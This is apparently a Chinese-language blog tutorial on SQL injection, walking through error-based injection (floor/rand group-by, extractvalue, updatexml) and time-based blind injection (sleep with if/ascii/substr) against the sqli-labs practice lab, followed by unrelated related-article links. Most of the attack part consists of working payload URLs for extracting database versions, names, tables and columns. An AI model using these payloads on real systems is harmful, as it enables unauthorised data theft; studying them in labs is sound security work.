SQL注入基础(报错注入及延时注入)

简介: SQL注入基础(报错注入及延时注入)

一、报错注入

1、判断是否存在报错

http://192.168.77.128/sqli/Less-2/?id=1'

0a2653c851af460fa595bd959398a8f1.png

2、group by 虚拟表主键重复冲突

查看数据库版本号

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select version()),0x23,floor(rand(0)*2))x from in
formation_schema.tables group by x)a limit 1)

运行结果:

0eacb84100b54626af849e6b562bf92a.png

获取数据库名称

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select database()),0x23,floor(rand(0)*2))x from in
formation_schema.tables group by x)a limit 1)

0a2653c851af460fa595bd959398a8f1.png

3、extractvalue()函数

获取sercurity数据库中的表名,通过修改limit后面的数字获取该数据库不同的表名

http://192.168.77.128/sqli/Less-2/?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))

0eacb84100b54626af849e6b562bf92a.png

4、updatexml()函数

获取user表名中的字段,通过修改limit后面的数字获取该数据库不同的字段

http://192.168.77.128/sqli/Less-2/?id=1 and updatexml(2,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23),1)

0a2653c851af460fa595bd959398a8f1.png

二、延时注入

1、判断字符注入

http://192.168.77.128/sqli/Less-8/?id=1' and 1=2 --+ 报错

0a2653c851af460fa595bd959398a8f1.png

http://192.168.77.128/sqli/Less-8/?id=1' and 1=1 --+ 正常

0eacb84100b54626af849e6b562bf92a.png

2、判断是否存在延时

http://192.168.77.128/sqli/Less-8/?id=1' and sleep(5) --+  延长5秒再执行

http://192.168.77.128/sqli/Less-8/?id=1 and sleep(5) --+ 没有延长

3、if与sleep结合使用

if(exp1,exp2,exp3):如果exp1为真,返回exp2,否则返回exp3

4、判断数据库长度

http://192.168.77.128/sqli/Less-8/?id=1' and if(length(database())>=8,sleep(5),1) --+


5、判断数据库名字的第一个字母

http://192.168.77.128/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+


延时5秒,说明数据库的第一个字母的ASCII码为115,即s

6、根据以前内容,可以获取表名和字段名。

禁止非法,后果自负

目录
相关文章
|
5天前
|
SQL XML Java
mybatis 调用修改SQL时 出现了一个问题 没有修改成功也没有报错
mybatis 调用修改SQL时 出现了一个问题 没有修改成功也没有报错
13 0
|
1月前
|
SQL 监控 安全
SQL注入的实现原理以及防止
SQL注入的实现原理以及防止
|
1月前
|
SQL Java 应用服务中间件
Java项目防止SQL注入的四种方案
Java项目防止SQL注入的四种方案
41 0
|
10天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
17 0
|
18天前
|
SQL 安全 PHP
CTF--Web安全--SQL注入之Post-Union注入
CTF--Web安全--SQL注入之Post-Union注入
|
1月前
|
SQL JSON Kubernetes
Seata常见问题之服务端 error日志没有输出,客户端执行sql报错如何解决
Seata 是一个开源的分布式事务解决方案,旨在提供高效且简单的事务协调机制,以解决微服务架构下跨服务调用(分布式场景)的一致性问题。以下是Seata常见问题的一个合集
107 0
|
1月前
|
SQL 安全 测试技术
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
15 0
|
1月前
|
SQL 数据库 索引
解决SQL报错:索引中丢失IN或OUT參数
解决SQL报错:索引中丢失IN或OUT參数
|
1月前
|
SQL 安全 API
|
2月前
|
SQL 消息中间件 Kafka
Flink报错问题之SQL作业中调用UDTF报错如何解决
Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。本合集提供有关Apache Flink相关技术、使用技巧和最佳实践的资源。